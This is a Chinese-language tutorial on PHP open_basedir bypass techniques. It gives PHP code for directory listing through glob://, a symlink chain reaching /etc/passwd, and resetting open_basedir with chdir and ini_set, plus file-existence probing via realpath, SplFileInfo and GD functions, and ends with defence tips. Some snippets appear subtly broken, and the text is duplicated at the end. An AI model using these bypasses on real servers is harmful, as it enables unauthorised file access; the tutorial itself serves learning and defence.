Open_basedir绕过学习
字数 1399 2025-08-18 17:33:23

Open_basedir绕过技术详解

1. Open_basedir简介

Open_basedir是PHP中用于限制文件系统访问范围的安全机制,它将PHP的文件操作限制在指定的目录集合中。

基本特性:

  • 所有PHP文件读写函数都会经过open_basedir检查
  • 在Linux系统中使用冒号(:)分隔目录,如/var/www/:/tmp/
  • 在Windows系统中使用分号(;)分隔目录,如c:/www;c:/windows/temp

2. 绕过技术分类

2.1 Globe伪协议结合DirectoryIterator

适用条件

  • PHP版本 > 5.3
  • Linux环境

示例代码

$result = array();
$mulu = new DirectoryIterator("glob:///*");
foreach($mulu as $a){
    $result[] = $a->__toString();
}
sort($result);
foreach($result as $s){
    echo "{$s}<br/>";
}

限制

  • 只能列出根目录和open_basedir允许目录下的文件
  • 不能读取文件内容

2.2 opendir()+readdir()+glob://组合

示例代码

$a = $_GET['c'];
if($b = opendir($a)){
    while(($file = readdir($b)) !== false){
        echo $file."<br>";
    }
    closedir($b);
}

2.3 符号链接(Symlink)绕过

原理
通过创建多层目录和符号链接,构造一个指向受限文件的路径。

示例代码

mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("A/B/C/D", "SD");
symlink("SD/etc/passwd", "POC");
unlink("SD");
mkdir("SD");

完整EXP

// 详细EXP见原文,包含路径计算和清理功能

2.4 realpath函数特性利用

原理

  • 当路径不存在时返回false
  • 当路径存在但不在open_basedir内时抛出错误

Windows环境示例

ini_set('open_basedir', dirname(__FILE__));
set_error_handler('isexists');
$dir = 'd:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';

for($i=0;$i<strlen($chars);$i++){
    $file = $dir.$chars[$i].'<>';
    realpath($file);
}

function isexists($errno, $errstr){
    if(strpos($errstr, 'File is not within') !== false){
        echo "Found: ".substr($file, 0, -2)."<br/>";
    }
}

2.5 SplFileInfo::getRealPath方法

特点

  • 完全不考虑open_basedir限制
  • 路径存在时返回绝对路径,不存在时返回false

示例代码

$basedir = 'D:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';

for($i=0;$i<strlen($chars);$i++){
    $info = new SplFileInfo($basedir.$chars[$i].'<>');
    $re = $info->getRealPath();
    if($re){
        echo $re.'<br/>';
    }
}

2.6 chdir与ini_set组合

原理
通过改变当前目录和动态修改open_basedir设置来绕过限制。

示例代码

mkdir('sub');
chdir('sub');
ini_set('open_basedir', '..');
chdir('..');chdir('..');chdir('..');chdir('..');
ini_set('open_basedir', '/');
var_dump(scandir('/'));

2.7 GD库函数利用

使用函数

  • imageftbbox()
  • imagefttext()

原理
通过不同的错误信息区分文件是否存在:

  • 文件存在:"File(xxxxx) is not within the allowed path(s)"
  • 文件不存在:"Invalid font filename"

示例代码

$dir = 'd:/test/';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';

for($i=0;$i<strlen($chars);$i++){
    $file = $dir.$chars[$i].'<>';
    imageftbbox(100, 100, $file, 'aaa');
}

function isexists($errno, $errstr){
    if(stripos($errstr, 'Invalid font filename') === false){
        echo "Found: ".$file."<br/>";
    }
}

2.8 bindtextdomain函数

限制

  • Windows下默认不可用
  • Linux下不能使用通配符

示例代码

$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);

3. 技术对比与适用场景

方法 适用系统 PHP版本 特点
Globe+DirectoryIterator Linux >5.3 只能列目录
Symlink 跨平台 通用 需要写权限
realpath Windows 通用 基于错误判断
SplFileInfo 跨平台 >=5.1.2 直接绕过
chdir+ini_set 跨平台 通用 需要执行权限
GD库 跨平台 需GD扩展 基于错误判断
bindtextdomain Linux 通用 效率较低

4. 防御建议

  1. 及时更新PHP版本
  2. 限制危险函数的使用
  3. 合理设置目录权限
  4. 监控异常的文件系统操作
  5. 结合其他安全机制如SELinux

5. 参考资源

  1. PHP官方文档
  2. phithon的open_basedir绕过研究
  3. 从PHP底层看open-basedir bypass
  4. 阿里云安全社区文章
Open_ basedir绕过技术详解 1. Open_ basedir简介 Open_ basedir是PHP中用于限制文件系统访问范围的安全机制,它将PHP的文件操作限制在指定的目录集合中。 基本特性: 所有PHP文件读写函数都会经过open_ basedir检查 在Linux系统中使用冒号(:)分隔目录,如 /var/www/:/tmp/ 在Windows系统中使用分号(;)分隔目录,如 c:/www;c:/windows/temp 2. 绕过技术分类 2.1 Globe伪协议结合DirectoryIterator 适用条件 : PHP版本 > 5.3 Linux环境 示例代码 : 限制 : 只能列出根目录和open_ basedir允许目录下的文件 不能读取文件内容 2.2 opendir()+readdir()+glob://组合 示例代码 : 2.3 符号链接(Symlink)绕过 原理 : 通过创建多层目录和符号链接,构造一个指向受限文件的路径。 示例代码 : 完整EXP : 2.4 realpath函数特性利用 原理 : 当路径不存在时返回false 当路径存在但不在open_ basedir内时抛出错误 Windows环境示例 : 2.5 SplFileInfo::getRealPath方法 特点 : 完全不考虑open_ basedir限制 路径存在时返回绝对路径,不存在时返回false 示例代码 : 2.6 chdir与ini_ set组合 原理 : 通过改变当前目录和动态修改open_ basedir设置来绕过限制。 示例代码 : 2.7 GD库函数利用 使用函数 : imageftbbox() imagefttext() 原理 : 通过不同的错误信息区分文件是否存在: 文件存在:"File(xxxxx) is not within the allowed path(s)" 文件不存在:"Invalid font filename" 示例代码 : 2.8 bindtextdomain函数 限制 : Windows下默认不可用 Linux下不能使用通配符 示例代码 : 3. 技术对比与适用场景 | 方法 | 适用系统 | PHP版本 | 特点 | |------|---------|---------|------| | Globe+DirectoryIterator | Linux | >5.3 | 只能列目录 | | Symlink | 跨平台 | 通用 | 需要写权限 | | realpath | Windows | 通用 | 基于错误判断 | | SplFileInfo | 跨平台 | >=5.1.2 | 直接绕过 | | chdir+ini_ set | 跨平台 | 通用 | 需要执行权限 | | GD库 | 跨平台 | 需GD扩展 | 基于错误判断 | | bindtextdomain | Linux | 通用 | 效率较低 | 4. 防御建议 及时更新PHP版本 限制危险函数的使用 合理设置目录权限 监控异常的文件系统操作 结合其他安全机制如SELinux 5. 参考资源 PHP官方文档 phithon的open_ basedir绕过研究 从PHP底层看open-basedir bypass 阿里云安全社区文章